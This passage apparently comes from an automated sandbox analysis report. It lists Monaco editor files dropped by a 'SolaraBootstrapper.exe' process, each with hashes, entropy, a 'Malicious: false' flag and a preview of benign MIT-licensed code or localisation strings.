e,t=["require","exports","vs/base/common/lifecycle","vs/editor/common/core/range","vs/nls","vs/nls!vs/editor/editor.main","vs/base/common/event","vs/base/common/strings","vs/base/common/winjs.base","vs/base/browser/dom","vs/css!vs/editor/editor.main","vs/editor/browser/editorExtensions","vs/base/common/errors","vs/platform/instantiation/common/instantiation","vs/editor/common/core/position","vs/base/common/platform","vs/platform/theme/common/themeService","vs/editor/common/modes","vs/base/common/async","vs/platform/contextkey/common/contextkey","vs/editor/common/core/selection","vs/editor/common/editorContextKeys","vs/base/common

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.de.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (9683)
Category:	dropped
Size (bytes):	37318
Entropy (8bit):	4.92687331950216
Encrypted:	false
SSDEEP:	768:jADv7LbgRyefe80QqYax/mZgb2ET1UZ0IMlYmz7w0hxH1N1Bg93RyFGAIDB7wZ9m:jADDx80QqYax/mmb2YLIEYmz7JhxH10D
MD5:	4D83BC1BCED6F773423BE6F939472CFE
SHA1:	1B42889A7F580DF9F7D399C33141D38548143ED1
SHA-256:	0DEE462D5FB231F169F6CBC432465A43FD445C011FE650E29F5FB2BCCC31EAAE
SHA-512:	C53D522438767A15B5711099FEE0ACB62FF21289B62640D1A4823A90C8A7D8836BC932DAAE477D5188B1BA78C50C581284C4D7379EFB532F37D356ADD97AC8E4
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.de",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (erneut aufgetreten)"],"vs/base/browser/ui/findinput/findInput":["Eingabe"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Gro.-/Kleinschreibung beachten","Nur ganzes Wort suchen","Regul.ren Ausdruck verwenden"],"vs/base/browser/ui/inputbox/inputBox":["Fehler: {0}","Warnung: {0}","Info: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["STRG","UMSCHALTTASTE","ALT","Windows","STRG","UMSCHALTTASTE","ALT","Befehlstaste","STRG","UMSCHALTTASTE","ALT","Windows"],"vs/base

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.es.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (9730)
Category:	dropped
Size (bytes):	38100
Entropy (8bit):	4.681864668613935
Encrypted:	false
SSDEEP:	384:hwuiA9wZFjNzWZQz7uDlnDEuoKZvGrkEq1EhBR3H6Sg4eUz+JWCHcxS+S9SxS9tf:Y9ZCZQOtDZSj1XJS+S9SxS9tx78teB
MD5:	B371235F971BAA51F58F123F40C4435A
SHA1:	843D4A2D214C7D9DA650CF4D0C6981AC1DAB69C6
SHA-256:	203FF3591E02EB7B55A591E53919CC337F8DEA73E6446FC3493227761C0794BA
SHA-512:	77D43490F1208DDE16B6773551EA983CB2352455178EA0E3D4D4B2F2E05DC406CAFAE89738001D708B780B58882CF5448EB7A8D1C11AA7B8E87915A390DA618A
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.es",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (ocurri. de nuevo)"],"vs/base/browser/ui/findinput/findInput":["entrada"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Coincidir may.sculas y min.sculas","Solo palabras completas","Usar expresi.n regular"],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Advertencia: {0}","Informaci.n: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","May.s","Alt","Windows","Control","May.s","Alt","Comando","Control","May.s","Alt","Windows"],"vs/base/common/sev

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.fr.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (10607)
Category:	dropped
Size (bytes):	41201
Entropy (8bit):	4.78528892641439
Encrypted:	false
SSDEEP:	768:HlKogi6Q3JbQWxxGmmrHeHPO10xSgGvJ1COIoJoZjbEMO9ms:Hl8KbQwKRavGJoZG
MD5:	D319E61FC6B357B9A5D8E3BBAA44CE3C
SHA1:	B1539B082B2B8290F05DFE17D6FEE3D64B2EC244
SHA-256:	7FDE40B2B212D274617232DE09452C6CB896E8A3C6B9E0B459F067CD07F31A99
SHA-512:	6BA80B90242DC55ECFA1678E7F8506ED9ADD4BF08067B125BA63D42B8E8E4455507A86369F6FAC6C9D10565D083E7364D4FC79D62E9BD460FE49957C91F598E6
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.fr",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (s'est reproduit)"],"vs/base/browser/ui/findinput/findInput":["entr.e"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Respecter la casse","Mot entier","Utiliser une expression r.guli.re"],"vs/base/browser/ui/inputbox/inputBox":["Erreur.: {0}","Avertissement.: {0}","Information.: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Maj","Alt","Windows","Contr.le","Maj","Alt","Commande","Contr.le","Maj","Alt","Windows"],"vs/base/common/severity":["Erreur"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.it.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (10625)
Category:	dropped
Size (bytes):	39483
Entropy (8bit):	4.645063474403644
Encrypted:	false
SSDEEP:	768:4klNUuMam1xYhz2LyXSXBjlHtvnYyjMbRgD5SL2KAqI0UGmGfpspuoeu317K93Ph:5f0SL2KAqKKNpCi
MD5:	A8855A662EB4D3A771FDAB7BA6287DEF
SHA1:	A78B57810AC8E9704E97897C6168F4140D2EADF7
SHA-256:	F67CEC6DBF98C98C834638D20DF53C5A770EDADA7F26EBF6D0B7DFEC60F7A4AB
SHA-512:	1C03F8B243701870D8A17E5565DA6C65C3F1D76DFB55C88CF68578A4754434A071565DA9147E7C833DE588A5907B5ECE07E018DEC52C79D9B2914C964A48A4B5
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.it",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (nuova occorrenza)"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Maiuscole/minuscole","Parola intera","Usa espressione regolare"],"vs/base/browser/ui/inputbox/inputBox":["Errore: {0}","Avviso: {0}","Info: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["CTRL","MAIUSC","ALT","Windows","CTRL","MAIUSC","ALT","Comando","CTRL","MAIUSC","ALT","Windows"],"vs/base/common/severity":["Errore","Avviso","Informazioni"],"vs/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.ja.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5031)
Category:	dropped
Size (bytes):	42617
Entropy (8bit):	5.654455164447412
Encrypted:	false
SSDEEP:	384:hIDtFoY0u0ZAITlMRFG1yu9RwJUcQ8bo6CdXtK+c3YcnI+PjnN3H6Sg4dcRID9Dh:VW6RwJrQNdbc9N1aBDzTG7e2ZLlx/
MD5:	A1F3C9E940206CA310147D644305A6E1
SHA1:	005A8F7023B9D873962C7272203CC0C0D0CCC624
SHA-256:	EA9F5E8993017F858CD9EE70AAC3D7990CA85EAF40A052025E530FB1C300837F
SHA-512:	F98AD1E4C127C3AA4A4FF2FA7ED2A65B5D32644211679E42D70AAE03F9C0AF1DA7704061C28E95CBB25AD14745B1D086C9A49492119D0F97653A0B817823BC69
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.ja",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (..)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":["............",".........","........."],"vs/base/browser/ui/inputbox/inputBox":["...: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","....","Control","Shift","Alt","Windows"],"vs/base/common/severity":[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8613)
Category:	dropped
Size (bytes):	32364
Entropy (8bit):	4.788014155134628
Encrypted:	false
SSDEEP:	384:h03CdtOurX25WyV1Vdf40CJjocZC6F7PKUvRjAaswHq9x3H6Sg4NFVlQlUDZpLjb:23mmysb1zVes3pxCSgwgwjhb
MD5:	74DD2381DDBB5AF80CE28AEFED3068FC
SHA1:	0996DC91842AB20387E08A46F3807A3F77958902
SHA-256:	FDD9D64CE5284373D1541528D15E2AA8AA3A4ADC11B51B3D71D3A3953F8BCC48
SHA-512:	8841E0823905CF3168F388A7AEAF5EDD32D44902035BA2078202193354CAF8CD74CB4CAB920E455404575739F35E19EA5F3D88EAB012C4EBEFC0CCB1ED19A46E
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (occurred again)"],"vs/base/browser/ui/findinput/findInput":["input"],"vs/base/browser/ui/findinput/findInputCheckboxes":["Match Case","Match Whole Word","Use Regular Expression"],"vs/base/browser/ui/inputbox/inputBox":["Error: {0}","Warning: {0}","Info: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","Command","Control","Shift","Alt","Windows"],"vs/base/common/severity":["Error","Warning","Info"],"vs/base/parts/quickop

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.ko.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5254)
Category:	dropped
Size (bytes):	37861
Entropy (8bit):	5.883000229335848
Encrypted:	false
SSDEEP:	384:hS67TmO5oU1Yh4XK8ApE6/z2dHDNV1KiAaA+17tDDN3H6Sg4s/zKz8G3uyroDXYd:rmO5oGXrmi1zDB12zKzuyroKcNVk
MD5:	9CCF83D22E9A9BFAFA2000F366AC47E6
SHA1:	BE61E121AF1A363AA66D875F46E78562A603566E
SHA-256:	100CA482C015571ED9AAD97C2DCC5E266B270A650CE892507443B5D4F32DF64F
SHA-512:	3D68816994ABFF5C528610733CC729E91D390422C2EE2259DCEF3CC4DB9A599C1F3800F412259FE2F9A700BF2847B942A253986C011C659868BC9EDAAE6C2F16
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.ko",{"vs/base/browser/ui/actionbar/actionbar":["{0}({1})"],"vs/base/browser/ui/aria/aria":["{0}(.. ...)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":["./... ..",".. ...","... .."],"vs/base/browser/ui/inputbox/inputBox":["..: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","<Shift>","Alt","Windows","...","<Shift>","Alt","..","...","<Shift>","Alt","Windows"],"vs/base/common/severity":["..","..",".."],"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.ru.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (9755)
Category:	dropped
Size (bytes):	57423
Entropy (8bit):	4.754950263828743
Encrypted:	false
SSDEEP:	768:CXH0AKgvFBBK1ED81Z0LVdcan9oUxPr1TPgFuEFYPm/XftWZc:CXHXNtBBK1SLVdcan9oWPgFuEFYPm/d
MD5:	FD1AA66906D2B3C0C9B734B17F04D73B
SHA1:	299145469D5D5397A42274CCC908C865EBC46CFA
SHA-256:	FA180F7B77EE252AEFE73BA5993FBE7C89F43482358D7FD32E8E2F50B3B21BED
SHA-512:	235C2EA1806C13DC0B85F06B5C9F2F811BD145968E2A0AD47C3FA1E063D408EFC034DCA7BAF0B91942CC34E995D1274692C5556C2FB875DBB1054157DA9C0132
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.ru",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (......... .....)"],"vs/base/browser/ui/findinput/findInput":["...."],"vs/base/browser/ui/findinput/findInputCheckboxes":[". ...... ........","..... .......","............ .......... ........."],"vs/base/browser/ui/inputbox/inputBox":["......: {0}","..............: {0}","........: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["CTRL","SHIFT","ALT","....... Wind

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.zh-cn.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3446)
Category:	dropped
Size (bytes):	30493
Entropy (8bit):	6.34437792445931
Encrypted:	false
SSDEEP:	768:FzMPbIhYBG5OcP2WyCzVsEJvjA1agnGMR:F8fcPN8Gw
MD5:	F954AC1091C6D0B640ED5F0ABDCD8ADB
SHA1:	43E0D5E39910D124C384549DF0B119AD1EBB12B3
SHA-256:	AC881E6F56544ED9B8DD4FD8FD8A73F1DA864FB8D79D91C45F5A51F923BD5287
SHA-512:	8AFF4877BF97CA29DFD5555FE5078ED3F05AC99C43F12C9B1C4D77CA11B1D040A81E0769C10A46A0BB32F3FFE72AE1A223FAF5276D05A11F981AA7677E140C83
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.zh-cn",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (.....)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":[".....","....","......."],"vs/base/browser/ui/inputbox/inputBox":["..: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","Command","Control","Shift","Alt","Windows"],"vs/base/common/severity":["..","..",".."],"vs/base/p

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\editor.main.nls.zh-tw.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (3882)
Category:	dropped
Size (bytes):	30734
Entropy (8bit):	6.335664297102438
Encrypted:	false
SSDEEP:	768:pEOtM9oECeRbdFF0D1N+QZyzB0StZ4XUeqJ1wrv6Vl9YLz1/ewyOm:HXEJpdFF0xN+QyoUeqJ1wrv6Vl9Y8wo
MD5:	73031FF9956DA03354038B3185222AF8
SHA1:	712CBF8027CAE6C422490499538EC4A0928C6A78
SHA-256:	7751DF224AC12DBC2E918B12FDBAA465306B6C511E4E1587790163EDAC18AD46
SHA-512:	48B80E78A6751FF58EB33AE92F3AD0E31D2E719D9DC9F4926DB41E44F8CA9819CEA7B657196F4F96C8A1291D57C59C70FFCD64CC9F8CDFFC12BC6B5FF6C50E77
Malicious:	false
Preview:	/!-----------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.13.2(53a4043676e6259fb734c90fad14bf16f7425640). * Released under the MIT license. * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt. -----------------------------------------------------------/.define("vs/editor/editor.main.nls.zh-tw",{"vs/base/browser/ui/actionbar/actionbar":["{0} ({1})"],"vs/base/browser/ui/aria/aria":["{0} (....)"],"vs/base/browser/ui/findinput/findInput":[".."],"vs/base/browser/ui/findinput/findInputCheckboxes":["......",".......","......."],"vs/base/browser/ui/inputbox/inputBox":["..: {0}","..: {0}","..: {0}"],"vs/base/browser/ui/selectBox/selectBoxCustom":["{0}"],"vs/base/common/keybindingLabels":["Ctrl","Shift","Alt","Windows","Control","Shift","Alt","Command","Control","Shift","Alt","Windows"],"vs/base/common/severity":["..","..",".."],"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\editor\standalone\browser\quickopen\symbol-sprite.svg

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	20729
Entropy (8bit):	4.425768984174885
Encrypted:	false
SSDEEP:	384:cyPJZCcKWPJuCNoSmvcar1PNY6g2HdSjEc3/WD3:DCdCNkvcaQ6x9SjES/W7
MD5:	649FB0A55B0E0FC9D79E6B7872A14C10
SHA1:	B33619C9DFD65D3F2E5A5FCB767A752123D51607
SHA-256:	FCC3026B97068F3D9E1743D36CA26B96FFDBCD2841FA9D804CACCC4F249911C8
SHA-512:	3FB4B07E9313B69C84F887C9CA0464E4C8D06A98A8F2AD7D0B48452D068BD526004C21633D0279B4B5E17AD882ACF8C7E99B4C3E7650BE43B495B670A87D0CBD
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="300" height="40"><path d="M288.483 33c-.772 0-1.497-.123-2.153-.365-.678-.253-1.27-.617-1.76-1.084-.5-.475-.892-1.049-1.163-1.704-.27-.644-.407-1.371-.407-2.158 0-.517.061-1.018.178-1.49.116-.47.29-.925.516-1.348.225-.422.508-.815.844-1.167.334-.352.717-.656 1.139-.905.416-.246.881-.44 1.38-.576.493-.134 1.026-.202 1.587-.202.705 0 1.382.109 2.013.324.642.217 1.218.538 1.708.955.501.425.903.948 1.193 1.556.294.623.442 1.316.442 2.064 0 .619-.09 1.185-.268 1.679-.178.492-.42.92-.721 1.275-.331.377-.699.658-1.104.847l-.048.022v1.53l-.587.266c-.128.059-.288.117-.474.179-.193.062-.404.114-.645.159-.229.04-.477.076-.753.103-.27.027-.578.04-.917.04z" fill="#2D2D2D"/><path d="M291.716 24.041c-.396-.336-.856-.593-1.384-.771-.527-.18-1.09-.271-1.689-.271-.473 0-.912.055-1.324.167-.414.112-.791.27-1.135.473-.342.202-.65.446-.922.733-.273.286-.502.602-.686.949-.186.347-.33.722-.428 1.119-.1.399-.148.814-.148 1.247 0 .652.109 1.247.332 1.776.219.531.5

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\css\cssmode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (21640)
Category:	dropped
Size (bytes):	22035
Entropy (8bit):	5.1216983038953
Encrypted:	false
SSDEEP:	384:h1kwG9aih9phed6ZwRVwCs8fTxUfyP0sYrkoJWMGIk8:aQih9pwd6KsuTxUfyFikkWMGC
MD5:	40A99739F89D382C92EB26F05A9A4497
SHA1:	30E6C52658F49BF5C6103A95D1C3ED50D71B02F2
SHA-256:	D3108AF9FFCDAD3133345686646CAFE3B628AD6B25A3758786B2AA7B7B51809D
SHA-512:	9011557BC41865DC6B44495174EA2F27C700E95DABDAA67D8BDD4B798A367A29CEA91DEF2171C5176160F5791D7BFCC2CD65B58DB4DED721ED2868E4198049E7
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-css version: 2.1.1(a021ab7a38731f54509ae2a95507f8165728cd2f). * Released under the MIT license. * https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/css/workerManager",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s=monaco.Promise,n=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInterval

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\css\cssworker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65129)
Category:	dropped
Size (bytes):	501334
Entropy (8bit):	5.087045111731214
Encrypted:	false
SSDEEP:	6144:PhKjqIze+tAxt+A7zOM1L0G52ppgGDcoFGPL2gXwiOcFt+oiEipHxJKnVZPUsf:IqkA7zO/pUIPsf
MD5:	152244E2AB4F663141E9466A8282EBE8
SHA1:	E9C0E86FBC108600D3E42A6654C5DE073607DDCE
SHA-256:	288BB68A2C685957B5DC3E5353B1A03DC482B10858059063B99C1549D5FEF01C
SHA-512:	112039647883A1CDB6A860CE1D2980562222B593508DA1EA8C9838B7184E76F72DE9EB68D2727CE12C78E3C0BE7E85101591DF6EBDE1E73DCF8C2495C8454855
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-css version: 2.1.1(a021ab7a38731f54509ae2a95507f8165728cd2f). * Released under the MIT license. * https://github.com/Microsoft/monaco-css/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.!function(e){if("object"==typeof module&&"object"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else"function"==typeof define&&define.amd&&define("vscode-languageserver-types/main",["require","exports"],e)}(function(e,t){"use strict";var o,n,r,i,s,a,l,c,h,d,p,m,u;Object.defineProperty(t,"__esModule",{value:!0}),(n=o=t.Position\|\|(t.Position={})).create=function(e,t){return{line:e,character:t}},n.is=function(e){var t=e;return O.defined(t)&&O.number(t.line)&&O.number(t.character)},(i=r=t.Range\|\|(t.Range={})).create=function(e,t,n,r){if(O.number(e)&&O.number(t)&&O.numb

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\html\htmlmode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (18735)
Category:	dropped
Size (bytes):	19132
Entropy (8bit):	5.130179120102356
Encrypted:	false
SSDEEP:	192:hA6ZF2Cw7DrFcelxzEKfxmflhyLpYvws8edvt9vKVwZVtDFzp6RMSyotuK1sD5Sv:hJw7DTfAlhCpvedmw+MS+KOD5Sc7Pzo
MD5:	C944AD9527D22B6CA6C0D54FD0723296
SHA1:	DDFB323DED66DE709FA8B05ABE0ADA931AC9DD43
SHA-256:	80D6F099563AF129B4DEFF66F7B9D4DFB27AD0058DCB5B77D927E460022DAFEE
SHA-512:	3A6ABB3A15401D28E4926AC008F991B7A19B359C8420D7E5BB6804061B6F82A2BEDFB86823862E1CCFBC046E896CB1A5759199F7E723FD7B1B5E6AEB19F92F58
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-html version: 2.1.1(f878fb07da50bca46d9e65888f2633d6b0338cee). * Released under the MIT license. * https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/html/workerManager",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var s=monaco.Promise,n=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInter

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\html\htmlworker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65135)
Category:	dropped
Size (bytes):	157807
Entropy (8bit):	5.6223380135187
Encrypted:	false
SSDEEP:	3072:wNxSv2ym9FNq9m8iktJFu/TgHdcyDnLEOhUm3xSvp:wNxSv2ym9FNimBmFu/TgHdcgnLEOhUmE
MD5:	3F5802A91A29E4504D5CD2F10AC280B8
SHA1:	368D01E59EAF25F164AB1D80B7F5D74B625B242D
SHA-256:	E80444D8FA519FF86E5C696A40843BC8392B2D3AFB83118A2DD92DA5497C9212
SHA-512:	2F3670227710C291E5E9136B2CAC5C70421C2537B86219FE17ED33161136A08F5CB2069822B16A58CE377B6D1A265CF33215A1695BDA5A701BAE566410CE33E7
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-html version: 2.1.1(f878fb07da50bca46d9e65888f2633d6b0338cee). * Released under the MIT license. * https://github.com/Microsoft/monaco-html/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vscode-nls/vscode-nls",["require","exports"],function(e,t){"use strict";function n(e,t){for(var n,r,i=[],a=2;a<arguments.length;a++)i[a-2]=arguments[a];return n=t,0===(r=i).length?n:n.replace(/\{(\d+)\}/g,function(e,t){var n=t[0];return void 0!==r[n]?r[n]:e})}function r(e){return n}Object.defineProperty(t,"__esModule",{value:!0}),t.loadMessageBundle=r,t.config=function(e){return r}}),define("vscode-nls",["vscode-nls/vscode-nls"],function(e){return e}),function(e){if("object"==typeof module&&"object"==typeof module.exports){var t=e(require,exports);void 0!==t&&(module.exports=t)}else"funct

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\json\jsonmode.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (38704)
Category:	dropped
Size (bytes):	39101
Entropy (8bit):	5.281284309885852
Encrypted:	false
SSDEEP:	768:ghT0rpM0GwBsUWdD5Sw7NibC2FyGf5Zot3OYoHAymtVoQvafg+HfNc75eEWAdy0h:gyM0GwBeD5jhiA3B7VjIQfdy0h
MD5:	44955B6C43B7AAC58492233EFEEB70AD
SHA1:	528B1F0D8EBCE7A607C008AA66A1D0ECD903D3D3
SHA-256:	08AF59E449F6C058514BF05C54511EE6EC83934AB9DC3E803257196B2812E8AE
SHA-512:	5A86921260AE9F87EB134513809231C9B512200CD2F330DF37A098124DB0DA8C8BCEF5DC668875E21328CE9A6C79440811DBBC3371147690C71D31B97745666E
Malicious:	false
Preview:	/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * monaco-json version: 2.1.1(0e6ea95f4f4e093db9201c502e8d401391803233). * Released under the MIT license. * https://github.com/Microsoft/monaco-json/blob/master/LICENSE.md. -----------------------------------------------------------------------------/.define("vs/language/json/workerManager",["require","exports"],function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var u=monaco.Promise,n=function(){function e(e){var t=this;this._defaults=e,this._worker=null,this._idleCheckInterval=setInterval(function(){return t._checkIfIdle()},3e4),this._lastUsedTime=0,this._configChangeListener=this._defaults.onDidChange(function(){return t._stopWorker()})}return e.prototype._stopWorker=function(){this._worker&&(this._worker.dispose(),this._worker=null),this._client=null},e.prototype.dispose=function(){clearInterval(this._idleCheckInter

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\vs\language\json\jsonworker.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (65139)
Category:	dropped
